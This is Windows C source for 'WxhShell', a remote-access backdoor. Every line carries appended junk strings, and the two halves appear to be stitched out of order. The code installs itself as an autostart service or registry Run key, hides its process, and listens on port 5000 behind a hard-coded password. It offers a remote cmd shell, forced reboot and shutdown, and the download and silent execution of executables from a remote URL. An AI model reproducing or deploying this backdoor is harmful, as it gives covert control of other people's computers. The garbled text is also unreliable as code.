    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b50mMW tG  
    else { g60k R7;\  
    closesocket(wsh); 'zbvg0T  
    ExitThread(0); sPG500=)  
    } m8;w7S7,j~  
    break; M\/hK2J# #  
    } , /%'""`w  
  // 获取shell `KN>0R2k  
  case 's': { $btu=_|f  
    CmdShell(wsh); l^d'8n  
    closesocket(wsh); T@=C2 1  
    ExitThread(0); b"Q8[k |d  
    break; 2l O(f+  
  } 33EF/k3vW  
  // 退出 YrJUs]A  
  case 'x': { 3LT~- SvL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^;'8yE/  
    CloseIt(wsh); P1Z"}Qw  
    break; J8!2Tt  
    } ;Y[D#Ja-  
  // 离开 :SS \2  
  case 'q': { [{Jo(X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SAdE9L =d  
    closesocket(wsh); Eamt_/LKf  
    WSACleanup(); t^KQ*8clG  
    exit(1); bY2R/FNL=  
    break; rD~/]y)t  
        } tc0;Ake-&  
  } gu!!}pwV9  
  } ]c~yMA+]FZ  
9xO@_pkX  
  // 提示信息 =T,Q7Dh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = V2Rq(jH  
} RARA_tii  
  } :Y\ ~[Y  
5, ,~k=  
  return; jwT` Z  
} A4!X{qUT-  
DPjs? M<  
// shell模块句柄 )gEE7Ex?  
int CmdShell(SOCKET sock) Cd_@<  
{ +7}^Y}(  
STARTUPINFO si; &J&'J~N  
ZeroMemory(&si,sizeof(si)); 7%i'F=LzT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dazNwn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Y.q P"s  
PROCESS_INFORMATION ProcessInfo; j*<J&/luYZ  
char cmdline[]="cmd"; 6[3Xe_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |E7 J5ha  
  return 0; Ohk\P;}  
} x[)-h/&Fh  
/"8e,  
// 自身启动模式 hm1s~@oEm  
int StartFromService(void) =|]h-[P'  
{ iHGVR  
typedef struct Kf:!tRE  
{ Ze~P6  
  DWORD ExitStatus; q$:7j5E  
  DWORD PebBaseAddress; TQT3]h6  
  DWORD AffinityMask; =G:Krc8w@  
  DWORD BasePriority; pPBXUu'  
  ULONG UniqueProcessId; f%,S::%Ea  
  ULONG InheritedFromUniqueProcessId; 4{YA['  
}   PROCESS_BASIC_INFORMATION; g:M;S"U3*Y  
yMz#e0k  
PROCNTQSIP NtQueryInformationProcess; (N9-YP?qm  
x vs=T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R.rc h2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !0,q[|m  
|Gf<Ql_.4  
  HANDLE             hProcess; fEZuv?@  
  PROCESS_BASIC_INFORMATION pbi; Zo<)r2|O.  
/y G34) aB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LeLUt<4~  
  if(NULL == hInst ) return 0; _ p\L,No  
PY5&Fwjc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i!%bz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T)\}V#iA*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =y][j+WH  
r @4A% ql<  
  if (!NtQueryInformationProcess) return 0; ]%E h"   
[Arf!W-QG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e_=K0fFz  
  if(!hProcess) return 0; sG`x |%t  
( V4Ppg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y"mFUW4  
5skN'*oG  
  CloseHandle(hProcess); iwK.*07+  
G!Zb27u+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9r?Z'~,Za  
if(hProcess==NULL) return 0; IEhD5?  
|T|m5V'l  
HMODULE hMod; `9^tuR,  
char procName[255]; 1,fR kQ  
unsigned long cbNeeded; G,)zn9X  
(03/4*g_s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~!$"J}d}<  
3ay},3MCV%  
  CloseHandle(hProcess); Oh! {E5!)  
v&d1ACctJ  
if(strstr(procName,"services")) return 1; // 以服务启动 |`LH|6/  
.?45:Ey~g  
  return 0; // 注册表启动 7 9t E  
} Mh)? A/e  
]>X_E%`G<b  
// 主模块 VE+H! ob A  
int StartWxhshell(LPSTR lpCmdLine) no*)M7  
{ v6*0@/L M  
  SOCKET wsl; Hm2Y% 4i%  
BOOL val=TRUE; :*Wq%Y=  
  int port=0; |[.-pA^  
  struct sockaddr_in door; oai=1vt@  
JIySe:p3  
  if(wscfg.ws_autoins) Install(); K?uZIDo  
f!'i5I]  
port=atoi(lpCmdLine); 7X>IS#W]  
?9~^QRLT  
if(port<=0) port=wscfg.ws_port; *5feB#  
Cy;UyZ  
  WSADATA data; y\skke]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dbby.%  
{M**a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )]P(!hW.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }-oba_  
  door.sin_family = AF_INET; ;C@mT;hR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & P-8_I  
  door.sin_port = htons(port); tpJA~!mG3  
i7#4&r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { es)^^kGj6f  
closesocket(wsl); tj13!Cc}e`  
return 1; >5FTB e[D  
} Fl`U{03  
2VN].t:  
  if(listen(wsl,2) == INVALID_SOCKET) { ^%7(  
closesocket(wsl); -#ZLu.  
return 1; qZd*'ki<  
} r!Eh}0bL  
  Wxhshell(wsl); b? ); D  
  WSACleanup(); /yI4;:/  
wKM9fs  
return 0; 'zYS:W  
b?}mQ!  
} 3x;UAi+&  
`>sOOA  
// 以NT服务方式启动 5 bI :xL}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1/97_:M0~F  
{  vD#U+  
DWORD   status = 0; 6|eqQ+(A  
  DWORD   specificError = 0xfffffff; ,`HweIq(  
+YvF+E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HP8J\`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o|@0.H|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }B-$}  
  serviceStatus.dwWin32ExitCode     = 0; 7p1Y g  
  serviceStatus.dwServiceSpecificExitCode = 0; NVMn7H}>  
  serviceStatus.dwCheckPoint       = 0; 5SY%B#;5G  
  serviceStatus.dwWaitHint       = 0; ]yPK}u  
3'z$@ ;Ev+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a&%aads  
  if (hServiceStatusHandle==0) return; HA0!>_I dC  
$)#orZtzr  
status = GetLastError(); :H&Q!\a  
  if (status!=NO_ERROR) JK! (\Ae.  
{ u !BU^@P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9)VAEyv  
    serviceStatus.dwCheckPoint       = 0; g4Z Uh@b~  
    serviceStatus.dwWaitHint       = 0; +@rFbsyJ.  
    serviceStatus.dwWin32ExitCode     = status; =2 HY]H  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5k0iVpjQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %tVU Rj  
    return; oLoc jj~T  
  } 4!/QB6  
8!2)=8|f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d_`MS@2  
  serviceStatus.dwCheckPoint       = 0; .+9*5  
  serviceStatus.dwWaitHint       = 0; xQ"uC!Gu4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z|_V ;*  
} (u 7Lh>6%  
Xe);LhDC  
// 处理NT服务事件,比如:启动、停止 Zv %>m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) No7-fX1B  
{ @}q, ';H7  
switch(fdwControl) qArR5OJ  
{ %NkiYiA  
case SERVICE_CONTROL_STOP: 5ngs1ZF@  
  serviceStatus.dwWin32ExitCode = 0; ] 0R*F30]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i*|HN"!  
  serviceStatus.dwCheckPoint   = 0; *P' X[z  
  serviceStatus.dwWaitHint     = 0; :gsRJy1  
  { 25OQY.>bE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `<tRfl}qs  
  } +'m9b7+v  
  return; E{V?[HcWq  
case SERVICE_CONTROL_PAUSE: f 6I)c$]Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &0T.o,&y  
  break; ~3s ?.[}d  
case SERVICE_CONTROL_CONTINUE: ^KbR@Ah  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ #!oejLD  
  break; 5mAb9F8@  
case SERVICE_CONTROL_INTERROGATE: I;@q`Tm  
  break; %i\rw*f  
}; ]2-Qj)mZ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W<q<}RSn  
} N #v[YO`.  
,It0brF  
// 标准应用程序主函数 2(d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QI[WXx p  
{ h>V6}(~;.  
f_ MK4  
// 获取操作系统版本 7NJl+*u  
OsIsNt=GetOsVer(); vL_yM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o+x%q<e;c  
{U-z(0  
  // 从命令行安装 .J-k^+-  
  if(strpbrk(lpCmdLine,"iI")) Install(); F(1E@xs  
5"h4XINZ  
  // 下载执行文件 EF&CV{Sw  
if(wscfg.ws_downexe) { -Jd7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &7'=t6  
  WinExec(wscfg.ws_filenam,SW_HIDE); H^Pq[3NQ  
} 7s%D(;W_Mo  
0-PT%R  
if(!OsIsNt) { 9z4F/tUq  
// 如果时win9x,隐藏进程并且设置为注册表启动 1a9' *[  
HideProc(); ,%Z&*/*Oh  
StartWxhshell(lpCmdLine); f/L8usBXq  
} $l)RMP}  
else "#Z e3Uy\  
  if(StartFromService()) iAe"oXK|  
  // 以服务方式启动 A23K!a2u&  
  StartServiceCtrlDispatcher(DispatchTable); O4`.ohAZ  
else X,3"4 SK  
  // 普通方式启动 tV4yBe<``  
  StartWxhshell(lpCmdLine); P [aE3Felk  
_9D]1f=&  
return 0; BUZ74  
} \ MuKS4  
>? o5AdZ  
W+u@UJi  
4+qo=i  
=========================================== G>^= Bm_$  
zk }SEt-  
4qDa: D"5  
gD%o0 jt"  
(M;d*gN r  
@<P;F  
" MuO(%.H  
oTk\r$4eb  
#include <stdio.h> Lm$KR!z  
#include <string.h> c-zW 2;|61  
#include <windows.h> mr[1F]G  
#include <winsock2.h> % A 5s?J?  
#include <winsvc.h> ?`vGpi~  
#include <urlmon.h> Z3zD4-p$_  
+ d>2'  
#pragma comment (lib, "Ws2_32.lib") Fu?_<G%Ynp  
#pragma comment (lib, "urlmon.lib") aIT0t0.  
ci%$So 2#  
#define MAX_USER   100 // 最大客户端连接数 6I~M8Lo ;  
#define BUF_SOCK   200 // sock buffer Z>`frL  
#define KEY_BUFF   255 // 输入 buffer 9XUYy2{G  
y[f%0*\B  
#define REBOOT     0   // 重启 !*^+7M  
#define SHUTDOWN   1   // 关机 <F}j;mX  
\Ogs]4   
#define DEF_PORT   5000 // 监听端口 R8.@5g_  
FBi&M Z`  
#define REG_LEN     16   // 注册表键长度 1"A"AMZf  
#define SVC_LEN     80   // NT服务名长度 q%s<y+  
{o'(_.{  
// 从dll定义API 9u^za!pE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6X2w)cO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QeQwmI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " u]X/ {L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ng&K5Z/  
ktY  
// wxhshell配置信息 laCVj6Rk  
struct WSCFG { }P!:0w3  
  int ws_port;         // 监听端口 !y1qd  
  char ws_passstr[REG_LEN]; // 口令 x 'i~o'  
  int ws_autoins;       // 安装标记, 1=yes 0=no @gx]3t*]I  
  char ws_regname[REG_LEN]; // 注册表键名  fsKZ  
  char ws_svcname[REG_LEN]; // 服务名 Q >h7H{c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ta8lc %0w3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R-Tf9?)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 93)1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x;&iLQZh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *6(/5V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _P_R`A)"  
~c,+)69"T  
}; W1}d6Sbg  
d ~CZ9h  
// default Wxhshell configuration [r1\FF@v,  
struct WSCFG wscfg={DEF_PORT, 7?Twhs.O  
    "xuhuanlingzhe", |'k7 ;UW  
    1, aH$DEs  
    "Wxhshell", x50ZwV&j  
    "Wxhshell", F @!9rl'  
            "WxhShell Service", |3EKK:RE  
    "Wrsky Windows CmdShell Service", avMre_@V  
    "Please Input Your Password: ", Coe%R(x5  
  1, bmRp)CYd  
  "http://www.wrsky.com/wxhshell.exe", ynq^ztBVe  
  "Wxhshell.exe" yD^Q&1  
    }; covK6SH  
}(UU~V  
// 消息定义模块 8}OII\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >@|XY<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y(6*)~Dh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u$V@akk  
char *msg_ws_ext="\n\rExit.";  4V 5  
char *msg_ws_end="\n\rQuit."; y=e|W=<D&  
char *msg_ws_boot="\n\rReboot..."; 3AC/;WB9  
char *msg_ws_poff="\n\rShutdown..."; G8 CM  
char *msg_ws_down="\n\rSave to "; nxx&aq(._  
&Y8S! W@4  
char *msg_ws_err="\n\rErr!"; HqKD]1  
char *msg_ws_ok="\n\rOK!"; WaDdZIz4  
ET=-r  
char ExeFile[MAX_PATH]; !-|{B3"6  
int nUser = 0; :}~B;s0M\  
HANDLE handles[MAX_USER]; 8(GJz ~y  
int OsIsNt; R|t.J oP9  
5l /EZ\q  
SERVICE_STATUS       serviceStatus; |D[4 G6&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K2oyHw<mk  
5tu 4uYp;  
// 函数声明 b~EA&dc  
int Install(void); 9d >AnTf&H  
int Uninstall(void); >}!})]Xw9  
int DownloadFile(char *sURL, SOCKET wsh); Ub*O*nre  
int Boot(int flag);  5wy3C  
void HideProc(void); CoQ<Ky}*  
int GetOsVer(void); rTYMN  
int Wxhshell(SOCKET wsl); =bl6:  
void TalkWithClient(void *cs); -@G,Ry-\t  
int CmdShell(SOCKET sock); 4X:S#z  
int StartFromService(void);  <sC.  
int StartWxhshell(LPSTR lpCmdLine); ]c$)0O\O  
M@78.lPS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nG !6[^D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =MokbK2  
o" e]9{+<  
// 数据结构和表定义 -|3feYb'  
SERVICE_TABLE_ENTRY DispatchTable[] = Qj',&b  
{ 85]3y%f9  
{wscfg.ws_svcname, NTServiceMain}, 5"I8ric  
{NULL, NULL} KMogwulG  
}; Ga#5xAI{a  
4ROuy+Ms'  
// 自我安装 $"6O92G(hJ  
int Install(void) ^Jdji:  
{ ^+'\ u;\  
  char svExeFile[MAX_PATH]; o[E|xw  
  HKEY key; 1wM~),B8  
  strcpy(svExeFile,ExeFile); QcG-/_,'}  
Avn)%9  
// 如果是win9x系统,修改注册表设为自启动 w{5v*SHl}`  
if(!OsIsNt) { z,q1TU9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a!H t81gj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &3%V%_  
  RegCloseKey(key); QO(P_az3mg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G [$u`mxV^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cp.qL  
  RegCloseKey(key); h;?H4j  
  return 0; Y5?OJO{h"  
    } x|`o7.  
  } {m7>9{`  
} KBkS>0;X  
else { 78-D/WY/X  
N=@Nn)  
// 如果是NT以上系统,安装为系统服务 W$ag |WV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q/<?v!h{  
if (schSCManager!=0) lD\vq2  
{  {;| >Qn  
  SC_HANDLE schService = CreateService =UMqa;\K  
  ( 5x/LHsr=m  
  schSCManager, z}&JapJ  
  wscfg.ws_svcname, KR sY `[Y  
  wscfg.ws_svcdisp, h k.Zn.6A'  
  SERVICE_ALL_ACCESS, 40)Ti  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a1yGgT a?D  
  SERVICE_AUTO_START, _@:O&G2nB  
  SERVICE_ERROR_NORMAL, %RX}sS  
  svExeFile, mKN#dmw6  
  NULL, r}Ec_0_lt  
  NULL, 1DT}_0{0Q  
  NULL, \4 5%K|  
  NULL, 99tKs  
  NULL \1R<GBC4  
  ); %6eQ;Rp*  
  if (schService!=0) moT*r?l  
  { (Y>|P  
  CloseServiceHandle(schService); eUeOyC  
  CloseServiceHandle(schSCManager); k1HVvMD<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =LHz[dSL  
  strcat(svExeFile,wscfg.ws_svcname); FhVoN}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S"skKh4w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (&^k''f  
  RegCloseKey(key); N~t4qlC/  
  return 0; '&42E[0P  
    } CE;J`;  
  } 9~ JeI/  
  CloseServiceHandle(schSCManager); t`oH7)nut  
} Kp)H>~cL  
} !bg2(2z  
?&rt)/DV,  
return 1; yirQ  
} Hu-Y[~9^L:  
k^C^.[?  
// 自我卸载 |';oIYs|$  
int Uninstall(void) uXkc07 r'  
{ %.[jz,;)  
  HKEY key; V~! lY\  
' zz ^ !@  
if(!OsIsNt) { Oi-= Fp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lJIcU RI4  
  RegDeleteValue(key,wscfg.ws_regname); S2,tv  
  RegCloseKey(key); 8k|&&3_[?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Ne5*HFV  
  RegDeleteValue(key,wscfg.ws_regname); 5g\>x;cc  
  RegCloseKey(key); w+W! dM  
  return 0; lNs;-`I~  
  } +pG[ [}/  
} -lqsFaW  
} Uuq*;L  
else { rGIf/=G^r  
.mwB'Ll  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XSoHh-  
if (schSCManager!=0) G%FLt[  
{ N.D7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DqN<bu2  
  if (schService!=0) ONU,R\jMb-  
  { ^sqTgrG  
  if(DeleteService(schService)!=0) { ##r9/`A  
  CloseServiceHandle(schService); MR3\7D+9y  
  CloseServiceHandle(schSCManager); M,we9];N  
  return 0; $rV4JROb  
  } KJ#SE|  
  CloseServiceHandle(schService); $/#F9>eZ  
  } pgipT#_K  
  CloseServiceHandle(schSCManager); sEzl4I  
} VqL#w<A %  
} WNo7`)Kx  
cf+EQY  
return 1; {baG2Fe1`b  
} J|=0 :G  
Z66h  
// 从指定url下载文件 dKJ-{LV  
int DownloadFile(char *sURL, SOCKET wsh) p>9|JMk  
{ ^Gwpx +  
  HRESULT hr; G(;R+%pu  
char seps[]= "/"; ;FnU[Q`M#L  
char *token; F_d>@-<  
char *file; 1uco{JX<S  
char myURL[MAX_PATH]; iBh.&K{j  
char myFILE[MAX_PATH]; FxdWJ|rN9D  
RaC8Sq7hW  
strcpy(myURL,sURL); Y. Uca<{.[  
  token=strtok(myURL,seps); T%]@R4z#q  
  while(token!=NULL) 9}A\Bh tiM  
  { '_B;e=v`  
    file=token; MWq1 "c  
  token=strtok(NULL,seps); `R m<1  
  } p)Fi{%bc  
p1!-|Sqq  
GetCurrentDirectory(MAX_PATH,myFILE); eZ8DW6l*  
strcat(myFILE, "\\"); aJLc&o 8Yg  
strcat(myFILE, file); *-X`^R  
  send(wsh,myFILE,strlen(myFILE),0); *?rO@sQy]  
send(wsh,"...",3,0); C 8KV<k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >XPR)&t  
  if(hr==S_OK) 'OI(MuSn  
return 0; oS^g "hQ`\  
else h{ T{3  
return 1; BG_6$9y  
te;VGpv.  
} Hq aay  
U etI 4`  
// 系统电源模块 3?Fe( !@  
int Boot(int flag) #ON^6f2  
{ !>\g[C  
  HANDLE hToken; I{i6e'.jP  
  TOKEN_PRIVILEGES tkp; WDJ rN  
"Pl.G[Buc-  
  if(OsIsNt) { lUIh0%O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %?Q<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4m!w<c0NL  
    tkp.PrivilegeCount = 1; nT9Hw~f<j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xg;vQKS6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /h 4rW>8D2  
if(flag==REBOOT) { Y^b}~t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -oi@1g @  
  return 0; \Nj#1G  
} (Rsf;VPO  
else { ?Xj@Sx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1L%$\0B4hm  
  return 0; Kf#iF*  
} <6&Z5mpm$w  
  } nd"$gi  
  else { JC# 5CCz  
if(flag==REBOOT) { hcoZ5!LvT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [I gqK5@  
  return 0; )JhB!P(  
} p\Fxt1Y@X  
else { S@Aw1i p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gOr%N!5  
  return 0; ]IH1_?HgP7  
} p@U[fv8u  
} j!"5, ~  
R`M@;9I.@  
return 1; F{Oaxn  
} nF]zd%h  
~-UO^$M-  
// win9x进程隐藏模块 tB VtIOm9  
void HideProc(void) ji<(}d~L*  
{ vj|#M/3>  
>z7 3uKA(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h)^|VM   
  if ( hKernel != NULL ) Js^(mRv=  
  { +Jm[IN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "q KVGd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5> !N)pA  
    FreeLibrary(hKernel); v6ei47-  
  } )Myx(w"S  
*y', eB  
return; |Xt6`~iC  
} E=91k.  
6{I6'+K~  
// 获取操作系统版本 0"Zxbgu)  
int GetOsVer(void) [=cYsW%WG  
{ DB}v..  
  OSVERSIONINFO winfo; ibLx'<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ab`9MJc;  
  GetVersionEx(&winfo); 'uF-}_ |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +U4';[LG1C  
  return 1; E{}J-_oS45  
  else d[Zx [=h  
  return 0; Zu 4au<  
} y9k'jEZ"oh  
Sj o-Xf}  
// 客户端句柄模块 @bChJl4  
int Wxhshell(SOCKET wsl)  ^Vf@J  
{ ,L4zhhl!_  
  SOCKET wsh; p+0gE5  
  struct sockaddr_in client; QEMT'Cs  
  DWORD myID; %Y,Ru)5}  
PPh<9$1\g  
  while(nUser<MAX_USER) e,d}4 jy  
{ ]Inu'p\  
  int nSize=sizeof(client); F'CJN$6Mw/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Pp+>{2_?  
  if(wsh==INVALID_SOCKET) return 1; brG!TJ   
<"}t\pT]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d c/^  
if(handles[nUser]==0) ?9>wG7cps7  
  closesocket(wsh); /qMiv7m~Q  
else ] ^?w0A  
  nUser++; Af r*'  
  } d[  _@l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CIf@G>e-  
2R,8q0qR:  
  return 0; My Ky*wD  
} lBm`W]3T  
R_>.O?U4  
// 关闭 socket P00%EB  
void CloseIt(SOCKET wsh) |Y?<58[!)  
{ 9JX@c k  
closesocket(wsh); %I{>H%CjE  
nUser--; Z>3m-:-e  
ExitThread(0); Z1:<i*6>D  
} ^Wn+G8n  
PgA1:i&'  
// 客户端请求句柄 e\^}PU  
void TalkWithClient(void *cs) !"&-k:|g  
{ `)4v Q+A>  
k+*pg4 '  
  SOCKET wsh=(SOCKET)cs; a)c;z@r  
  char pwd[SVC_LEN]; :RxMZwa=  
  char cmd[KEY_BUFF]; Zu~w:uNmU  
char chr[1]; NHe)$%a=H  
int i,j; bfm+!9=9S  
+6$ -"lf  
  while (nUser < MAX_USER) { d R=0K  
|"S#uJW  
if(wscfg.ws_passstr) { '[HQ}Wvn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7a^D[f0V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QgQclML1|  
  //ZeroMemory(pwd,KEY_BUFF); [@JK|50|K  
      i=0; :I7mM y*  
  while(i<SVC_LEN) { &/-MUKN  
,zr,>^ v  
  // 设置超时 jSH.e?  
  fd_set FdRead; *po o.Zz  
  struct timeval TimeOut; AzSu_  
  FD_ZERO(&FdRead); MkjB4:"  
  FD_SET(wsh,&FdRead); GAZRQ  
  TimeOut.tv_sec=8; *9xxX,QT8Q  
  TimeOut.tv_usec=0; { Ie~MW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 023uAaI^3r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @YQ*a4`  
t'0&n3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6({)O1Z  
  pwd=chr[0]; =S\^j"  
  if(chr[0]==0xd || chr[0]==0xa) { BfCnyL%  
  pwd=0; Ge=^q.  
  break; QBH|pr  
  } oU @!R  
  i++; 9<toDg_  
    } lJ]QAO  
TC44*BHq  
  // 如果是非法用户,关闭 socket Otx>S' 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &-p~UZy  
} Z 4i5,f  
rXT?w]4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  S.B?l_d^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (*=>YE'V{  
8~t8^eBg  
while(1) { j~V $q/7S  
!lL `L \  
  ZeroMemory(cmd,KEY_BUFF); 1?^ P=^8   
4c{j9mh  
      // 自动支持客户端 telnet标准   q~5zv4NX  
  j=0; [KHlApL  
  while(j<KEY_BUFF) { \`["IkSg7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Xk;]-T!  
  cmd[j]=chr[0]; vnVT0)Lel  
  if(chr[0]==0xa || chr[0]==0xd) { Z<^EZX3N  
  cmd[j]=0; zLJmHb{(  
  break; ?Js4 \X!uJ  
  } \'[tfSB  
  j++; @#hvQ6u  
    } dlCiqY: }  
9W]OtSG  
  // 下载文件 "4Q_F3?_`  
  if(strstr(cmd,"http://")) { ,Eh]Zv1 AE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SCe$v76p#  
  if(DownloadFile(cmd,wsh)) 9ZU^([@D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x}^2FE  
  else /SS~IhUX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C96*,.j~'  
  } gp{C89gP  
  else { ^2 H-_  
Qk>U=]U  
    switch(cmd[0]) { [kqtkgK$j2  
  E@xrn+L>-  
